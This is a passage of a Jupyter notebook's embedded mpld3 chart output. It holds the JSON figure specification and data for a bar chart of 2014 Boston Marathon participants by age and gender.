\"alpha\": 0.6, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114702617232\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114702622672\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data57\", \"id\": \"el126114702624336\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data56\", \"id\": \"el126114702625616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data57\", \"id\": \"el126114702643728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data54\", \"id\": \"el126114702645392\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data56\", \"id\": \"el126114702659408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data56\", \"id\": \"el126114702660688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data62\", \"id\": \"el126114702671888\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data62\", \"id\": \"el126114702673168\"}, {\"edgecolor\": \"#000000\", \"facecolor\": \"#FFFFFF\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data63\", \"id\": \"el126114702662096\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 9, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 8, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114390414032\", \"ydomain\": [0.0, 700.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 800.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[59.0, 0.0, 0.0], [59.8, 0.0, 0.0], [59.8, 240.0, 81.0], [59.0, 240.0, 81.0]], \"data43\": [[60.0, 0.0, 0.0], [60.8, 0.0, 0.0], [60.8, 306.0, 93.0], [60.0, 306.0, 93.0]], \"data40\": [[57.0, 0.0, 0.0], [57.8, 0.0, 0.0], [57.8, 373.0, 164.0], [57.0, 373.0, 164.0]], \"data41\": [[58.0, 0.0, 0.0], [58.8, 0.0, 0.0], [58.8, 263.0, 128.0], [58.0, 263.0, 128.0]], \"data46\": [[63.0, 0.0, 0.0], [63.8, 0.0, 0.0], [63.8, 181.0, 50.0], [63.0, 181.0, 50.0]], \"data47\": [[64.0, 0.0, 0.0], [64.8, 0.0, 0.0], [64.8, 151.0, 34.0], [64.0, 151.0, 34.0]], \"data44\": [[61.0, 0.0, 0.0], [61.8, 0.0, 0.0], [61.8, 253.0, 94.0], [61.0, 253.0, 94.0]], \"data45\": [[62.0, 0.0, 0.0], [62.8, 0.0, 0.0], [62.8, 221.0, 70.0], [62.0, 221.0, 70.0]], \"data48\": [[65.0, 0.0, 0.0], [65.8, 0.0, 0.0], [65.8, 168.0, 38.0], [65.0, 168.0, 38.0]], \"data49\": [[66.0, 0.0, 0.0], [66.8, 0.0, 0.0], [66.8, 147.0, 32.0], [66.0, 147.0, 32.0]], \"data50\": [[67.0, 0.0], [67.8, 0.0], [67.8, 110.0], [67.0, 110.0]], \"data53\": [[70.0, 0.0], [70.8, 0.0], [70.8, 48.0], [70.0, 48.0]], \"data61\": [[78.0, 0.0, 79.0, 80.0], [78.8, 0.0, 79.8, 80.8], [78.8, 3.0, 79.8, 80.8], [78.0, 3.0, 79.0, 80.0]], \"data63\": [[0.8326696908602151, 0.8387096774193546], [0.9892473118279571, 0.8387096774193546], [0.9892473118279571, 0.9784946236559137], [0.8326696908602151, 0.9784946236559137], [0.8326696908602151, 0.8387096774193546]], \"data28\": [[45.0, 0.0, 0.0], [45.8, 0.0, 0.0], [45.8, 671.0, 532.0], [45.0, 671.0, 532.0]], \"data06\": [[23.0, 0.0, 0.0], [23.8, 0.0, 0.0], [23.8, 124.0, 224.0], [23.0, 124.0, 224.0]], \"data52\": [[69.0, 0.0, 0.0, 70.0], [69.8, 0.0, 0.0, 70.8], [69.8, 42.0, 11.0, 70.8], [69.0, 42.0, 11.0, 70.0]], \"data08\": [[25.0, 0.0, 0.0], [25.8, 0.0, 0.0], [25.8, 213.0, 349.0], [25.0, 213.0, 349.0]], \"data09\": [[26.0, 0.0, 0.0], [26.8, 0.0, 0.0], [26.8, 277.0, 431.0], [26.0, 277.0, 431.0]], \"data20\": [[37.0, 0.0, 0.0], [37.8, 0.0, 0.0], [37.8, 408.0, 404.0], [37.0, 408.0, 404.0]], \"data21\": [[38.0, 0.0, 0.0], [38.8, 0.0, 0.0], [38.8, 407.0, 392.0], [38.0, 407.0, 392.0]], \"data22\": [[39.0, 0.0, 0.0], [39.8, 0.0, 0.0], [39.8, 446.0, 437.0], [39.0, 446.0, 437.0]], \"data05\": [[22.0, 0.0, 0.0], [22.8, 0.0, 0.0], [22.8, 108.0, 172.0], [22.0, 108.0, 172.0]], \"data02\": [[19.0, 0.0, 0.0, 67.0], [19.8, 0.0, 0.0, 67.8], [19.8, 27.0, 14.0, 67.8], [19.0, 27.0, 14.0, 67.0]], \"data04\": [[21.0, 0.0, 0.0], [21.8, 0.0, 0.0], [21.8, 77.0, 96.0], [21.0, 77.0, 96.0]], \"data26\": [[43.0, 0.0, 0.0], [43.8, 0.0, 0.0], [43.8, 524.0, 444.0], [43.0, 524.0, 444.0]], \"data01\": [[18.0, 0.0, 0.0, 68.0], [18.8, 0.0, 0.0, 68.8], [18.8, 21.0, 12.0, 68.8], [18.0, 21.0, 12.0, 68.0]], \"data55\": [[72.0, 0.0, 0.0], [72.8, 0.0, 0.0], [72.8, 28.0, 6.0], [72.0, 28.0, 6.0]], \"data60\": [[77.0, 0.0], [77.8, 0.0], [77.8, 6.0], [77.0, 6.0]], \"data23\": [[40.0, 0.0, 0.0], [40.8, 0.0, 0.0], [40.8, 533.0, 553.0], [40.0, 533.0, 553.0]], \"data62\": [[0.8412718413978496, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.9591397849462364, 0.8956989247311826], [0.8412718413978496, 0.9591397849462364, 0.8956989247311826]], \"data57\": [[74.0, 0.0, 0.0, 75.0, 77.0], [74.8, 0.0, 0.0, 75.8, 77.8], [74.8, 14.0, 1.0, 75.8, 77.8], [74.0, 14.0, 1.0, 75.0, 77.0]], \"data51\": [[68.0, 0.0], [68.8, 0.0], [68.8, 70.0], [68.0, 70.0]], \"data24\": [[41.0, 0.0, 0.0], [41.8, 0.0, 0.0], [41.8, 501.0, 483.0], [41.0, 501.0, 483.0]], \"data56\": [[73.0, 0.0, 0.0, 76.0, 79.0, 80.0], [73.8, 0.0, 0.0, 76.8, 79.8, 80.8], [73.8, 22.0, 0.0, 76.8, 79.8, 80.8], [73.0, 22.0, 0.0, 76.0, 79.0, 80.0]], \"data03\": [[20.0, 0.0, 0.0], [20.8, 0.0, 0.0], [20.8, 47.0, 64.0], [20.0, 47.0, 64.0]], \"data27\": [[44.0, 0.0, 0.0], [44.8, 0.0, 0.0], [44.8, 507.0, 378.0], [44.0, 507.0, 378.0]], \"data07\": [[24.0, 0.0, 0.0], [24.8, 0.0, 0.0], [24.8, 172.0, 310.0], [24.0, 172.0, 310.0]], \"data54\": [[71.0, 0.0, 0.0, 78.0], [71.8, 0.0, 0.0, 78.8], [71.8, 54.0, 2.0, 78.8], [71.0, 54.0, 2.0, 78.0]], \"data37\": [[54.0, 0.0, 0.0], [54.8, 0.0, 0.0], [54.8, 395.0, 198.0], [54.0, 395.0, 198.0]], \"data36\": [[53.0, 0.0, 0.0], [53.8, 0.0, 0.0], [53.8, 432.0, 214.0], [53.0, 432.0, 214.0]], \"data35\": [[52.0, 0.0, 0.0], [52.8, 0.0, 0.0], [52.8, 499.0, 309.0], [52.0, 499.0, 309.0]], \"data34\": [[51.0, 0.0, 0.0], [51.8, 0.0, 0.0], [51.8, 540.0, 365.0], [51.0, 540.0, 365.0]], \"data25\": [[42.0, 0.0, 0.0], [42.8, 0.0, 0.0], [42.8, 568.0, 479.0], [42.0, 568.0, 479.0]], \"data32\": [[49.0, 0.0, 0.0], [49.8, 0.0, 0.0], [49.8, 480.0, 406.0], [49.0, 480.0, 406.0]], \"data31\": [[48.0, 0.0, 0.0], [48.8, 0.0, 0.0], [48.8, 516.0, 396.0], [48.0, 516.0, 396.0]], \"data30\": [[47.0, 0.0, 0.0], [47.8, 0.0, 0.0], [47.8, 599.0, 465.0], [47.0, 599.0, 465.0]], \"data59\": [[76.0, 0.0], [76.8, 0.0], [76.8, 13.0], [76.0, 13.0]], \"data58\": [[75.0, 0.0], [75.8, 0.0], [75.8, 16.0], [75.0, 16.0]], \"data39\": [[56.0, 0.0, 0.0], [56.8, 0.0, 0.0], [56.8, 416.0, 185.0], [56.0, 416.0, 185.0]], \"data38\": [[55.0, 0.0, 0.0], [55.8, 0.0, 0.0], [55.8, 487.0, 210.0], [55.0, 487.0, 210.0]], \"data19\": [[36.0, 0.0, 0.0], [36.8, 0.0, 0.0], [36.8, 457.0, 422.0], [36.0, 457.0, 422.0]], \"data18\": [[35.0, 0.0, 0.0], [35.8, 0.0, 0.0], [35.8, 403.0, 439.0], [35.0, 403.0, 439.0]], \"data15\": [[32.0, 0.0, 0.0], [32.8, 0.0, 0.0], [32.8, 389.0, 398.0], [32.0, 389.0, 398.0]], \"data14\": [[31.0, 0.0, 0.0], [31.8, 0.0, 0.0], [31.8, 368.0, 389.0], [31.0, 368.0, 389.0]], \"data17\": [[34.0, 0.0, 0.0], [34.8, 0.0, 0.0], [34.8, 362.0, 344.0], [34.0, 362.0, 344.0]], \"data16\": [[33.0, 0.0, 0.0], [33.8, 0.0, 0.0], [33.8, 372.0, 347.0], [33.0, 372.0, 347.0]], \"data11\": [[28.0, 0.0, 0.0], [28.8, 0.0, 0.0], [28.8, 315.0, 449.0], [28.0, 315.0, 449.0]], \"data10\": [[27.0, 0.0, 0.0], [27.8, 0.0, 0.0], [27.8, 287.0, 453.0], [27.0, 287.0, 453.0]], \"data13\": [[30.0, 0.0, 0.0], [30.8, 0.0, 0.0], [30.8, 339.0, 428.0], [30.0, 339.0, 428.0]], \"data12\": [[29.0, 0.0, 0.0], [29.8, 0.0, 0.0], [29.8, 319.0, 414.0], [29.0, 319.0, 414.0]], \"data29\": [[46.0, 0.0, 0.0], [46.8, 0.0, 0.0], [46.8, 660.0, 498.0], [46.0, 660.0, 498.0]], \"data33\": [[50.0, 0.0, 0.0], [50.8, 0.0, 0.0], [50.8, 611.0, 405.0], [50.0, 611.0, 405.0]]}, \"id\": \"el126114430985104\"});\n", " });\n", " });\n", "}else{\n", " // require.js not available: dynamically load d3 & mpld3\n", " mpld3_load_lib(\"https://mpld3.github.io/js/d3.v3.min.js\", function(){\n", " mpld3_load_lib(\"https://mpld3.github.io/js/mpld3.v0.2.js\", function(){\n", " \n", " mpld3.draw_figure(\"fig_el1261144309851043272034110\", {\"axes\": [{\"xlim\": [10.0, 90.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [{\"v_baseline\": \"auto\", \"h_anchor\": \"middle\", \"color\": \"#000000\", \"text\": \"2014 Boston Marathon participants, by age and gender\", \"coordinates\": \"axes\", \"zorder\": 3, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.5, 1.0179211469534051], \"rotation\": -0.0, \"id\": \"el126114701792976\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Men\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.92903225806451595], \"rotation\": -0.0, \"id\": \"el126114702671056\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Women\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.86559139784946215], \"rotation\": -0.0, \"id\": \"el126114702672272\"}], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 90.0], \"ylim\": [0.0, 700.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114701857808\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114701859664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114701877776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114701879440\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114701893456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114701895120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114701896400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114701914896\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114701916560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114701926480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114701928144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114701929424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114701943824\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114701945488\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114701955408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114701957072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114701975184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114701976848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114701978512\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114701988432\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114701990096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114702004112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114702005776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114702007056\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114702021456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114702023120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114702037136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114702038800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114702052816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114702054480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114702056144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114702074256\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114702075920\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114702085840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114702087504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114702089168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114702107280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114702108944\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data39\", 